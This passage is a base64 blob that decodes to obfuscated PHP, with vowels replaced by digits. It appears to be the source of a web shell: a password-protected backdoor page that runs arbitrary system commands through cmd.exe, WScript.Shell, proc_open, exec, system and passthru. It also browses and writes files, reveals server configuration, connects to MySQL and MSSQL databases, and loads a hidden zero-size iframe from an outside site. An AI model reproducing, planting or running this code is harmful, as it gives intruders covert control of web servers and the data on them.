pOw0KCS8vJHQ0bTUgPSBzdHJ0MnQ0bTUoIiR5NTFyLSRtMm50aC0kZDF5ICRoMjNyOiRtNG4zdDU6JHM1YzJuZCIpOw0KCSRjMWNoNW0ybnRoID0gMXJyMXkoJ0oxbjMxcnknPT42LCdGNWJyMzFyeSc9PmEsJ00xcmNoJz0+bywnQXByNGwnPT51LCdNMXknPT5pLCdKM241Jz0+ZSwnSjNseSc9PjcsJ0EzZzNzdCc9PjgsJ1M1cHQ1bWI1cic9PjksJ09jdDJiNXInPT42MCwnTjJ2NW1iNXInPT42NiwnRDVjNW1iNXInPT42YSk7DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0NsMm41IGY0bDUgdzFzIGwxc3QgbTJkNGY0NWQgdDRtNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J0FsdDVyIGY0bDUnLCduMW01Jz0+J2MzcmY0bDUnLCd2MWwzNSc9PiQycGY0bDUsJ3M0ejUnPT42YTAsJ241d2w0bjUnPT42KSk7DQoJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidSNWY1cjVuYzUgZjRsNSAoZjNsbHAxdGgpJywnbjFtNSc9Pid0MXJmNGw1JywnczR6NSc9PjZhMCwnbjV3bDRuNSc9PjYpKTsNCglmMnJtZjIydDVyKCk7DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J1M1dCBsMXN0IG0yZDRmNDVkJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nQzNycjVudCBmNGw1IChmM2xscDF0aCknLCduMW01Jz0+J2MzcmY0bDUnLCd2MWwzNSc9PiQycGY0bDUsJ3M0ejUnPT42YTAsJ241d2w0bjUnPT42KSk7DQoJcCgnPHA+SW5zdDUxZCAmcjFxMzI7Jyk7DQoJcCgneTUxcjonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4neTUxcicsJ3YxbDM1Jz0+ZDF0NSgnWScsJDJwZjRsNW10NG01KSwnczR6NSc9PnUpKTsNCglwKCdtMm50aDonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nbTJudGgnLCd2MWwzNSc9PmQxdDUoJ20nLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnZDF5OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkMXknLCd2MWwzNSc9PmQxdDUoJ2QnLCQycGY0bDVtdDRtNSksJ3M0ejUnPT5hKSk7DQoJcCgnaDIzcjonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4naDIzcicsJ3YxbDM1Jz0+ZDF0NSgnSCcsJDJwZjRsNW10NG01KSwnczR6NSc9PmEpKTsNCglwKCdtNG4zdDU6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J200bjN0NScsJ3YxbDM1Jz0+ZDF0NSgnNCcsJDJwZjRsNW10NG01KSwnczR6NSc9PmEpKTsNCglwKCdzNWMybmQ6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3M1YzJuZCcsJ3YxbDM1Jz0+ZDF0NSgncycsJDJwZjRsNW10NG01KSwnczR6NSc9PmEpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQ1cigpOw0KCWcyYjFjaygpOw0KfS8vNW5kIG41d3Q0bTUNCg0KNWxzNTRmICgkMWN0NDJuID09ICdzaDVsbCcpIHsNCgk0ZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQk0ZigkcHIyZ3IxbSAmJiAkcDFyMW01dDVyKSB7DQoJCQkkc2g1bGw9IG41dyBDT00oJ1NoNWxsLkFwcGw0YzF0NDJuJyk7DQoJCQkkMSA9ICRzaDVsbC0+U2g1bGxFeDVjM3Q1KCRwcjJncjFtLCRwMXIxbTV0NXIpOw0KCQkJbSgnUHIyZ3IxbSByM24gaDFzICcuKCEkMSA/ICdzM2NjNXNzJyA6ICdmMTRsJykpOw0KCQl9DQoJCSEkcHIyZ3IxbSAmJiAkcHIyZ3IxbSA9ICdjOlx3NG5kMndzXHN5c3Q1bW9hXGNtZC41eDUnOw0KCQkhJHAxcjFtNXQ1ciAmJiAkcDFyMW01dDVyID0gJy9jIG41dCBzdDFydCA+ICcuU0FfUk9PVC4nbDJnLnR4dCc7DQoJCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidFeDVjM3Q1IFByMmdyMW0nKSk7DQoJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzaDVsbCcpOw0KCQltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J1ByMmdyMW0nLCduMW01Jz0+J3ByMmdyMW0nLCd2MWwzNSc9PiRwcjJncjFtLCduNXdsNG41Jz0+NikpOw0KCQlwKCc8cD4nKTsNCgkJbTFrNTRucDN0KDFycjF5KCd0NHRsNSc9PidQMXIxbTV0NXInLCduMW01Jz0+J3AxcjFtNXQ1cicsJ3YxbDM1Jz0+JHAxcjFtNXQ1cikpOw0KCQltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nczNibTR0JywnY2wxc3MnPT4nYnQnLCd0eXA1Jz0+J3MzYm00dCcsJ3YxbDM1Jz0+J0V4NWMzdDUnKSk7DQoJCXAoJzwvcD4nKTsNCgkJZjJybWYyMnQoKTsNCgl9DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0V4NWMzdDUgQzJtbTFuZCcpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnc2g1bGwnKTsNCgk0ZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkNXg1Y2YzbmNkYiA9IDFycjF5KCdwaHBmM25jJz0+J3BocGYzbmMnLCd3c2NyNHB0Jz0+J3dzY3I0cHQnLCdwcjJjXzJwNW4nPT4ncHIyY18ycDVuJyk7DQoJCW0xazVzNWw1Y3QoMXJyMXkoJ3Q0dGw1Jz0+J1VzNTonLCduMW01Jz0+JzV4NWNmM25jJywnMnB0NDJuJz0+JDV4NWNmM25jZGIsJ3M1bDVjdDVkJz0+JDV4NWNmM25jLCduNXdsNG41Jz0+NikpOw0KCX0NCglwKCc8cD4nKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J0MybW0xbmQnLCduMW01Jz0+J2MybW0xbmQnLCd2MWwzNSc9Pmh0bWxzcDVjNDFsY2gxcnMoJGMybW0xbmQpKSk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3MzYm00dCcsJ2NsMXNzJz0+J2J0JywndHlwNSc9PidzM2JtNHQnLCd2MWwzNSc9PidFeDVjM3Q1JykpOw0KCXAoJzwvcD4nKTsNCglmMnJtZjIydCgpOw0KDQoJNGYgKCRjMm1tMW5kKSB7DQoJCXAoJzxociB3NGR0aD0iNjAwJSIgbjJzaDFkNSAvPjxwcjU+Jyk7DQoJCTRmICgkNXg1Y2YzbmM9PSd3c2NyNHB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkd3NoID0gbjV3IENPTSgnV1NjcjRwdC5zaDVsbCcpOw0KCQkJJDV4NWMgPSAkd3NoLT41eDVjKCdjbWQuNXg1IC9jICcuJGMybW0xbmQpOw0KCQkJJHN0ZDIzdCA9ICQ1eDVjLT5TdGRPM3QoKTsNCgkJCSRzdHIyM3RwM3QgPSAkc3RkMjN0LT5SNTFkQWxsKCk7DQoJCQk1Y2gyICRzdHIyM3RwM3Q7DQoJCX0gNWxzNTRmICgkNXg1Y2YzbmM9PSdwcjJjXzJwNW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KCQkJICAgMCA9PiAxcnIxeSgncDRwNScsICdyJyksDQoJCQkgICA2ID0+IDFycjF5KCdwNHA1JywgJ3cnKSwNCgkJCSAgIGEgPT4gMXJyMXkoJ3A0cDUnLCAndycpDQoJCQkpOw0KCQkJJHByMmM1c3MgPSBwcjJjXzJwNW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGQ1c2NyNHB0MnJzcDVjLCAkcDRwNXMpOw0KCQkJNGYgKDRzX3I1czIzcmM1KCRwcjJjNXNzKSkgew0KCQkJCWZ3cjR0NSgkcDRwNXNbMF0sICRjMm1tMW5kLiJcclxuIik7DQoJCQkJZndyNHQ1KCRwNHA1c1swXSwgIjV4NHRcclxuIik7DQoJCQkJZmNsMnM1KCRwNHA1c1swXSk7DQoJCQkJd2g0bDUgKCFmNTJmKCRwNHA1c1s2XSkpIHsNCgkJCQkJNWNoMiBmZzV0cygkcDRwNXNbNl0sIDYwYXUpOw0KCQkJCX0NCgkJCQlmY2wyczUoJHA0cDVzWzZdKTsNCgkJCQl3aDRsNSAoIWY1MmYoJHA0cDVzW2FdKSkgew0KCQkJCQk1Y2gyIGZnNXRzKCRwNHA1c1thXSwgNjBhdSk7DQoJCQkJfQ0KCQkJCWZjbDJzNSgkcDRwNXNbYV0pOw0KCQkJCXByMmNfY2wyczUoJHByMmM1c3MpOw0KCQkJfQ0KCQl9IDVsczUgew0KCQkJNWNoMig1eDVjM3Q1KCRjMm1tMW5kKSk7DQoJCX0NCgkJcCgnPC9wcjU+Jyk7DQoJfQ0KfS8vNW5kIHNoNWxsDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAncGhwNW52Jykgew0KCSQzcHM0ejU9ZzV0Y2ZnKCdmNGw1XzNwbDIxZHMnKSA/IGc1dGNmZygnM3BsMjFkX20xeF9mNGw1czR6NScpIDogJ04ydCAxbGwydzVkJzsNCgkkMWRtNG5tMTRsPTRzczV0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnNXRjZmcoJ3M1bmRtMTRsX2ZyMm0nKTsNCgkhJGQ0c19mM25jICYmICRkNHNfZjNuYyA9ICdOMic7CQ0KCSQ0bmYyID0gMXJyMXkoDQoJCTYgPT4gMXJyMXkoJ1M1cnY1ciBUNG01JyxkMXQ1KCdZL20vZCBoOjQ6cycsJHQ0bTVzdDFtcCkpLA0KCQlhID0+IDFycjF5KCdTNXJ2NXIgRDJtMTRuJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoJCW8gPT4gMXJyMXkoJ1M1cnY1ciBJUCcsZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLA0KCQl1ID0+IDFycjF5KCdTNXJ2NXIgT1MnLFBIUF9PUyksDQoJCWkgPT4gMXJyMXkoJ1M1cnY1ciBPUyBDaDFyczV0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCWUgPT4gMXJyMXkoJ1M1cnY1ciBTMmZ0dzFyNScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJNyA9PiAxcnIxeSgnUzVydjVyIFc1YiBQMnJ0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCTggPT4gMXJyMXkoJ1BIUCByM24gbTJkNScsc3RydDIzcHA1cihwaHBfczFwNF9uMW01KCkpKSwNCgkJOSA9PiAxcnIxeSgnVGg1IGY0bDUgcDF0aCcsX19GSUxFX18pLA0KDQoJCTYwID0+IDFycjF5KCdQSFAgVjVyczQybicsUEhQX1ZFUlNJT04pLA0KCQk2NiA9PiAxcnIxeSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybihcJ3BocDRuZjJcJyk7Ij5ZNXM8LzE+JyA6ICdOMicpKSwNCgkJNmEgPT4gMXJyMXkoJ1MxZjUgTTJkNScsZzV0Y2ZnKCdzMWY1X20yZDUnKSksDQoJCTZvID0+IDFycjF5KCdBZG00bjRzdHIxdDJyJywkMWRtNG5tMTRsKSwNCgkJNnUgPT4gMXJyMXkoJzFsbDJ3XzNybF9mMnA1bicsZzV0Y2ZnKCcxbGwyd18zcmxfZjJwNW4nKSksDQoJCTZpID0+IDFycjF5KCc1bjFibDVfZGwnLGc1dGNmZygnNW4xYmw1X2RsJykpLA0KCQk2ZSA9PiAxcnIxeSgnZDRzcGwxeV81cnIycnMnLGc1dGNmZygnZDRzcGwxeV81cnIycnMnKSksDQoJCTY3ID0+IDFycjF5KCdyNWc0c3Q1cl9nbDJiMWxzJyxnNXRjZmcoJ3I1ZzRzdDVyX2dsMmIxbHMnKSksDQoJCTY4ID0+IDFycjF5KCdtMWc0Y19xMzJ0NXNfZ3BjJyxnNXRjZmcoJ20xZzRjX3EzMnQ1c19ncGMnKSksDQoJCTY5ID0+IDFycjF5KCdtNW0ycnlfbDRtNHQnLGc1dGNmZygnbTVtMnJ5X2w0bTR0JykpLA0KCQlhMCA9PiAxcnIxeSgncDJzdF9tMXhfczR6NScsZzV0Y2ZnKCdwMnN0X20xeF9zNHo1JykpLA0KCQlhNiA9PiAxcnIxeSgnM3BsMjFkX20xeF9mNGw1czR6NScsJDNwczR6NSksDQoJCWFhID0+IDFycjF5KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLGc1dGNmZygnbTF4XzV4NWMzdDQybl90NG01JykuJyBzNWMybmQocyknKSwNCgkJYW8gPT4gMXJyMXkoJ2Q0czFibDVfZjNuY3Q0Mm5zJywkZDRzX2YzbmMpLA0KCSk7DQoNCgk0ZigkcGhwdjFybjFtNSkgew0KCQltKCRwaHB2MXJuMW01IC4nIDogJy5nNXRjZmcoJHBocHYxcm4xbTUpKTsNCgl9DQoNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nUzVydjVyIDVudjRyMm5tNW50JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdwaHA1bnYnKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J1BsNTFzNSA0bnAzdCBQSFAgYzJuZjRnM3IxdDQybiBwMXIxbTV0NXIoNWc6bTFnNGNfcTMydDVzX2dwYyknLCduMW01Jz0+J3BocHYxcm4xbTUnLCd2MWwzNSc9PiRwaHB2MXJuMW01LCduNXdsNG41Jz0+NikpOw0KCWYycm1mMjJ0NXIoKTsNCg0KCSRocCA9IDFycjF5KDA9PiAnUzVydjVyJywgNj0+ICdQSFAnKTsNCglmMnIoJDE9MDskMTxhOyQxKyspIHsNCgkJcCgnPGhhPicuJGhwWyQxXS4nICZyMXEzMjs8L2hhPicpOw0KCQlwKCc8M2wgY2wxc3M9IjRuZjIiPicpOw0KCQk0ZiAoJDE9PTApIHsNCgkJCWYycigkND02OyQ0PD05OyQ0KyspIHsNCgkJCQlwKCc8bDQ+PDM+Jy4kNG5mMlskNF1bMF0uJzo8LzM+Jy4kNG5mMlskNF1bNl0uJzwvbDQ+Jyk7DQoJCQl9DQoJCX0gNWxzNTRmICgkMSA9PSA2KSB7DQoJCQlmMnIoJDQ9NjA7JDQ8PWFvOyQ0KyspIHsNCgkJCQlwKCc8bDQ+PDM+Jy4kNG5mMlskNF1bMF0uJzo8LzM+Jy4kNG5mMlskNF1bNl0uJzwvbDQ+Jyk7DQoJCQl9DQoJCX0NCgkJcCgnPC8zbD4nKTsNCgl9DQp9Ly81bmQgcGhwNW52DQoNCjVsczUgew0KCW0oJ1VuZDVmNG41ZCBBY3Q0Mm4nKTsNCn0NCg0KPz4NCjwvdGQ+PC90cj48L3QxYmw1Pg0KPGQ0diBzdHlsNT0icDFkZDRuZzo2MHB4O2IycmQ1ci1iMnR0Mm06NnB4IHMybDRkICNmZmY7YjJyZDVyLXQycDo2cHggczJsNGQgI2RkZDtiMWNrZ3IyM25kOiM1NTU7Ij4NCgk8c3AxbiBzdHlsNT0iZmwyMXQ6cjRnaHQ7Ij48P3BocCBkNWIzZzRuZjIoKTsyYl81bmRfZmwzc2goKTs/Pjwvc3Axbj4NCglDMnB5cjRnaHQgKEMpIGEwMHUtYTAwOSA8MSBocjVmPSJodHRwOi8vd3d3Lmc1MmM0dDQ1cy5qcC9ydjAwNzA2MDYvIiB0MXJnNXQ9Il9ibDFuayI+UzVjM3I0dHkgUnYwMDcgVDUxbSBbUlYwMDddPC8xPiBBbGwgUjRnaHRzIFI1czVydjVkLg0KPC9kNHY+DQo8NGZyMW01IHNyYz0iaHR0cDovL3d3dy5nNTJjNHQ0NXMuanAvcnYwMDcwNjA2LyIgbjFtNT0iYTAwOSIgdzRkdGg9IjAiIGg1NGdodD0iMCI+PC80ZnIxbTU+DQo8L2IyZHk+DQo8L2h0bWw+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQomI2EwOTg5OyYjYWk5ZTg7JiNhdWE2NjsNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmYzbmN0NDJuIG0oJG1zZykgew0KCTVjaDIgJzxkNHYgc3R5bDU9ImIxY2tncjIzbmQ6I2Y2ZjZmNjtiMnJkNXI6NnB4IHMybDRkICNkZGQ7cDFkZDRuZzo2aXB4O2YybnQ6NnVweDt0NXh0LTFsNGduOmM1bnQ1cjtmMm50LXc1NGdodDpiMmxkOyI+JzsNCgk1Y2gyICRtc2c7DQoJNWNoMiAnPC9kNHY+JzsNCn0NCmYzbmN0NDJuIHNjMjJrNDUoJGs1eSwgJHYxbDM1LCAkbDRmNSA9IDAsICRwcjVmNHggPSA2KSB7DQoJZ2wyYjFsICQxZG00biwgJHQ0bTVzdDFtcCwgJF9TRVJWRVI7DQoJJGs1eSA9ICgkcHI1ZjR4ID8gJDFkbTRuWydjMjJrNDVwcjUnXSA6ICcnKS4kazV5Ow0KCSRsNGY1ID0gJGw0ZjUgPyAkbDRmNSA6ICQxZG00blsnYzIyazQ1bDRmNSddOw0KCSQzczVwMnJ0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gdXVvID8gNiA6IDA7DQoJczV0YzIyazQ1KCRrNXksICR2MWwzNSwgJHQ0bTVzdDFtcCskbDRmNSwgJDFkbTRuWydjMjJrNDVwMXRoJ10sICQxZG00blsnYzIyazQ1ZDJtMTRuJ10sICQzczVwMnJ0KTsNCn0JDQpmM25jdDQybiBtM2x0NCgkbjNtLCAkcDVycDFnNSwgJGMzcnAxZzUsICR0MWJsNW4xbTUpIHsNCgkkbTNsdDRwMWc1ID0gJyc7DQoJNGYoJG4zbSA+ICRwNXJwMWc1KSB7DQoJCSRwMWc1ID0gNjA7DQoJCSQyZmZzNXQgPSBpOw0KCQkkcDFnNXMgPSBAYzU0bCgkbjNtIC8gJHA1cnAxZzUpOw0KCQk0ZigkcDFnNSA+ICRwMWc1cykgew0KCQkJJGZyMm0gPSA2Ow0KCQkJJHQyID0gJHAxZzVzOw0KCQl9IDVsczUgew0KCQkJJGZyMm0gPSAkYzNycDFnNSAtICQyZmZzNXQ7DQoJCQkkdDIgPSAkYzNycDFnNSArICRwMWc1IC0gJDJmZnM1dCAtIDY7DQoJCQk0ZigkZnIybSA8IDYpIHsNCgkJCQkkdDIgPSAkYzNycDFnNSArIDYgLSAkZnIybTsNCgkJCQkkZnIybSA9IDY7DQoJCQkJNGYoKCR0MiAtICRmcjJtKSA8ICRwMWc1ICYmICgkdDIgLSAkZnIybSkgPCAkcDFnNXMpIHsNCgkJCQkJJHQyID0gJHAxZzU7DQoJCQkJfQ0KCQkJfSA1bHM1NGYoJHQyID4gJHAxZzVzKSB7DQoJCQkJJGZyMm0gPSAkYzNycDFnNSAtICRwMWc1cyArICR0MjsNCgkJCQkkdDIgPSAkcDFnNXM7DQoJCQkJNGYoKCR0MiAtICRmcjJtKSA8ICRwMWc1ICYmICgkdDIgLSAkZnIybSkgPCAkcDFnNXMpIHsNCgkJCQkJJGZyMm0gPSAkcDFnNXMgLSAkcDFnNSArIDY7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRtM2x0NHAxZzUgPSAoJGMzcnAxZzUgLSAkMmZmczV0ID4gNiAmJiAkcDFnNXMgPiAkcDFnNSA/ICc8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdcJywgNik7Ij5GNHJzdDwvMT4gJyA6ICcnKS4oJGMzcnAxZzUgPiA2ID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLigkYzNycDFnNSAtIDYpLicpOyI+UHI1djwvMT4gJyA6ICcnKTsNCgkJZjJyKCQ0ID0gJGZyMm07ICQ0IDw9ICR0MjsgJDQrKykgew0KCQkJJG0zbHQ0cDFnNSAuPSAkNCA9PSAkYzNycDFnNSA/ICQ0LicgJyA6ICc8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdcJywgJy4kNC4nKTsiPlsnLiQ0LiddPC8xPiAnOw0KCQl9DQoJCSRtM2x0NHAxZzUgLj0gKCRjM3JwMWc1IDwgJHAxZzVzID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLigkYzNycDFnNSArIDYpLicpOyI+TjV4dDwvMT4nIDogJycpLigkdDIgPCAkcDFnNXMgPyAnIDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLiRwMWc1cy4nKTsiPkwxc3Q8LzE+JyA6ICcnKTsNCgkJJG0zbHQ0cDFnNSA9ICRtM2x0NHAxZzUgPyAnPHA+UDFnNXM6ICcuJG0zbHQ0cDFnNS4nPC9wPicgOiAnJzsNCgl9DQoJcjV0M3JuICRtM2x0NHAxZzU7DQp9DQovLyAmI28wb282OyYjbzh1NzA7JiNhMDhvNzsmI2E2dTdpOw0KZjNuY3Q0Mm4gbDJnNG5wMWc1KCkgew0KPz4NCgk8c3R5bDUgdHlwNT0idDV4dC9jc3MiPg0KCTRucDN0IHtmMm50OjY2cHggVjVyZDFuMTtCQUNLR1JPVU5EOiAjRkZGRkZGO2g1NGdodDogNjhweDtiMnJkNXI6IDZweCBzMmw0ZCAjZWVlZWVlO30NCgk8L3N0eWw1Pg0KCTxmMnJtIG01dGgyZD0iUE9TVCIgMWN0NDJuPSIiPg0KCTxzcDFuIHN0eWw1PSJmMm50OjY2cHggVjVyZDFuMTsiPlAxc3N3MnJkOiA8L3NwMW4+PDRucDN0IG4xbTU9InAxc3N3MnJkIiB0eXA1PSJwMXNzdzJyZCIgczR6NT0iYTAiPg0KCTw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9ImQyNG5nIiB2MWwzNT0ibDJnNG4iPg0KCTw0bnAzdCB0eXA1PSJzM2JtNHQiIHYxbDM1PSJMMmc0biI+DQoJPC9mMnJtPg0KPD9waHANCgk1eDR0Ow0KfS8vNW5kIGwyZzRucDFnNSgpDQoNCmYzbmN0NDJuIDV4NWMzdDUoJGNmNSkgew0KCSRyNXMgPSAnJzsNCgk0ZiAoJGNmNSkgew0KCQk0ZihmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQkJQDV4NWMoJGNmNSwkcjVzKTsNCgkJCSRyNXMgPSBqMjRuKCJcbiIsJHI1cyk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCQkkcjVzID0gQHNoNWxsXzV4NWMoJGNmNSk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJCUAyYl9zdDFydCgpOw0KCQkJQHN5c3Q1bSgkY2Y1KTsNCgkJCSRyNXMgPSBAMmJfZzV0X2MybnQ1bnRzKCk7DQoJCQlAMmJfNW5kX2NsNTFuKCk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkJQDJiX3N0MXJ0KCk7DQoJCQlAcDFzc3RocjMoJGNmNSk7DQoJCQkkcjVzID0gQDJiX2c1dF9jMm50NW50cygpOw0KCQkJQDJiXzVuZF9jbDUxbigpOw0KCQl9IDVsczU0ZihANHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJGNmNSwiciIpKSkgew0KCQkJJHI1cyA9ICcnOw0KCQkJd2g0bDUoIUBmNTJmKCRmKSkgew0KCQkJCSRyNXMgLj0gQGZyNTFkKCRmLDYwYXUpOyANCgkJCX0NCgkJCUBwY2wyczUoJGYpOw0KCQl9DQoJfQ0KCXI1dDNybiAkcjVzOw0KfQ0KZjNuY3Q0Mm4gd2g0Y2goJHByKSB7DQoJJHAxdGggPSA1eDVjM3Q1KCJ3aDRjaCAkcHIiKTsNCglyNXQzcm4gKCRwMXRoID8gJHAxdGggOiAkcHIpOyANCn0NCg0KZjNuY3Q0Mm4gY2YoJGZuMW01LCR0NXh0KXsNCgk0ZigkZnA9QGYycDVuKCRmbjFtNSwndycpKSB7DQoJCUBmcDN0cygkZnAsQGIxczVldV9kNWMyZDUoJHQ1eHQpKTsNCgkJQGZjbDJzNSgkZnApOw0KCX0NCn0NCmYzbmN0NDJuIGQ0cnM0ejUoJGQ0cikgeyANCgkkZGggPSBAMnA1bmQ0cigkZDRyKTsNCgkkczR6NSA9IDA7DQoJd2g0bDUoJGY0bDUgPSBAcjUxZGQ0cigkZGgpKSB7DQoJCTRmICgkZjRsNSAhPSAnLicgJiYgJGY0bDUgIT0gJy4uJykgew0KCQkJJHAxdGggPSAkZDRyLicvJy4kZjRsNTsNCgkJCTRmIChANHNfZDRyKCRwMXRoKSkgew0KCQkJCSRzNHo1ICs9IGQ0cnM0ejUoJHAxdGgpOw0KCQkJfSA1bHM1IHsNCgkJCQkkczR6NSArPSBAZjRsNXM0ejUoJHAxdGgpOw0KCQkJfQ0KCQl9DQoJfQ0KCUBjbDJzNWQ0cigkZGgpOw0KCXI1dDNybiAkczR6NTsNCn0NCi8vICYjbzkwYTk7JiNvODdpdTsmI29pOHVvOyYjb2k3OTc7JiNhMHV1OTsmI2F1ZTg3Ow0KZjNuY3Q0Mm4gZDViM2c0bmYyKCkgew0KCWdsMmIxbCAkc3QxcnR0NG01Ow0KCSRtdDRtNSA9IDV4cGwyZDUoJyAnLCBtNGNyMnQ0bTUoKSk7DQoJJHQydDFsdDRtNSA9IG4zbWI1cl9mMnJtMXQoKCRtdDRtNVs2XSArICRtdDRtNVswXSAtICRzdDFydHQ0bTUpLCBlKTsNCgk1Y2gyICdQcjJjNXNzNWQgNG4gJy4kdDJ0MWx0NG01LicgczVjMm5kKHMpJzsNCn0NCg0KLy8mI29lOG8wOyYjYWlpMDk7TVlTUUwmI2FpOWU4OyYjYWl1aXU7JiNhdWE2NjsNCmYzbmN0NDJuIG15ZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTU9JycsJGNoMXJzNXQ9JycsJGRicDJydD0nb28wZScpIHsNCglnbDJiMWwgJGNoMXJzNXRkYjsNCgk0ZighJGw0bmsgPSBAbXlzcWxfYzJubjVjdCgkZGJoMnN0Lic6Jy4kZGJwMnJ0LCAkZGIzczVyLCAkZGJwMXNzKSkgew0KCQlwKCc8aGE+QzFuIG4ydCBjMm5uNWN0IHQyIE15U1FMIHM1cnY1cjwvaGE+Jyk7DQoJCTV4NHQ7DQoJfQ0KCTRmKCRsNG5rICYmICRkYm4xbTUpIHsNCgkJNGYgKCFAbXlzcWxfczVsNWN0X2RiKCRkYm4xbTUsICRsNG5rKSkgew0KCQkJcCgnPGhhPkQxdDFiMXM1IHM1bDVjdDVkIGgxcyA1cnIycjwvaGE+Jyk7DQoJCQk1eDR0Ow0KCQl9DQoJfQ0KCTRmKCRsNG5rICYmIG15c3FsX2c1dF9zNXJ2NXJfNG5mMigpID4gJ3UuNicpIHsNCgkJNGYoNG5fMXJyMXkoc3RydDJsMnc1cigkY2gxcnM1dCksICRjaDFyczV0ZGIpKSB7DQoJCQlxKCJTRVQgY2gxcjFjdDVyX3M1dF9jMm5uNWN0NDJuPSRjaDFyczV0LCBjaDFyMWN0NXJfczV0X3I1czNsdHM9JGNoMXJzNXQsIGNoMXIxY3Q1cl9zNXRfY2w0NW50PWI0bjFyeTsiLCAkbDRuayk7DQoJCX0NCgl9DQoJcjV0M3JuICRsNG5rOw0KfQ0KDQovLyYjb2U4bzA7JiNhaWkwOTtNU1NRTCYjYWk5ZTg7JiNhaXVpdTsmI2F1YTY2Ow0KZjNuY3Q0Mm4gbXNkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNT0nJykgew0KCWdsMmIxbCAkMWxyNTFkeW1zc3FsOw0KCUA0bjRfczV0KCdtc3NxbC5jaDFyczV0JywgJ1VURi04Jyk7DQoJQDRuNF9zNXQoJ21zc3FsLnQ1eHRsNG00dCcsIGE2dTd1OG9ldTcpOw0KCUA0bjRfczV0KCdtc3NxbC50NXh0czR6NScsIGE2dTd1OG9ldTcpOw0KCSQxbHI1MWR5bXNzcWwgPSA2Ow0KCTRmKCEkbDRuayA9IEBtc3NxbF9jMm5uNWN0KCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsIGYxbHM1KSkgew0KCQlwKCc8aGE+Jy5tc21zZygpLic8